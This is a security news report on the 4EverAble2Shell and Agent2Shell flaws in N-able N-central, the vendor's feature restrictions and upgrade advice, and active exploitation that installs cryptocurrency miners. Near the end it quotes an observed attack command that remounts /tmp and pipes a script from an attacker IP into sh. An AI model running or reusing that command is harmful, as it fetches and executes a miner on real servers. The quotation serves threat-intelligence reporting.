N-able on Thursday said it's taking additional precautions in the wake of public disclosure of a new set of flaws tracked as 4EverAble2Shell and Agent2Shell.
"We are restricting certain N-central features and integrations," the company said in a Thursday update. "These measures may affect some functionality, but we believe taking additional precautions while remediation is completed is the right action to protect our partners and their customers."
The following actions have been applied to Hosted environments -
- Legacy API is turned off by default in the product.
- Intune integration has been turned off while additional protections are implemented and validated.
Hosted customers are also being recommended to follow N-able's previous guidance to upgrade Agents and Probes on N-central version 2026.4 HF1 and above, as the update introduces changes in how the Probe and Agent communicate.
"N-able N-central 2026.4 HF1 updates legacy components of the Agent and Probe, which changes how the two communicate," it said. "As such, upgrading both Agents and Probes in your N-central server is a MUST to ensure all managed devices are communicating and patched."
On-premises customers are being urged to upgrade Agents and Probes and ensure Legacy API access is disabled in the environment, if it has been previously turned on.
"Our teams are actively assessing the new disclosures, developing additional remediation, and working to safely restore affected functionality," N-able said. "Protecting our partners and their customers remains our highest priority, and we will continue to take precautionary action where necessary."
The development comes as independent security researcher Sean Bales disclosed two new sets of flaws called 4EverAble2Shell and Agent2Shell that work against the latest version of N-central and can allow attackers to execute arbitrary code as root and gain SYSTEM-level access to Windows systems under specific conditions.
Multiple threat intelligence reports show that 4EverAble2Shell has moved beyond preliminary probing to active exploitation efforts, with threat actors leveraging it to deploy cryptocurrency miners on vulnerable servers.
The attacks have been found to string together a critical Apache Axis vulnerability, tracked as CVE-2026-90436 (CVSS score: 9.8), with a separate N-central privilege escalation weakness to obtain root-level access.
"An unauthenticated exploit chain in N-able N-central, disclosed as 4EverAble2Shell, is reported to allow remote attackers to execute arbitrary operating-system commands with root privileges," Previdian, which is tracking the flaw as VULN-2026-0009, said.
"The chain exploits unsafe class instantiation during SOAP fault processing in the bundled Apache Axis component. A crafted request causes an attacker-selected JLine class to process malicious input, resulting in command execution as the nable service account."
In an exploit chain detailed by the threat intelligence company, threat actors have been observed attempting to download and execute a shell script ("jup.sh") from an attacker-controlled server at "157.20.241[.]16," while sending back diagnostic information and command output to the server.
Cybersecurity company Huntback has also revealed that the same IP address is weaponizing the 4EverAble2Shell flaw, deploying an XMRig Monero cryptocurrency miner on 21 N-central servers via the aforementioned shell script -
mount -o remount,exec /tmp 2>/dev/null; curl -fsSL hxxp://157.20.241[.]16:8080/jup.sh | sh -s nc_[target-IP-redacted]
The miner is designed to use only half of the available CPU cores, likely in an effort to fly under the radar. The compromised N-central servers are concentrated across the U.S., South Africa, Canada, the U.K., Germany, France, and Sweden.
"The miner is the only payload we have seen, but the escalation hands the operator root on a host that manages your customers' endpoints," Huntback said. "Treat a hit as a full compromise, not a cleanup job. Applying Hotfix 2 is not enough on its own: 19 of the victims here were already running it."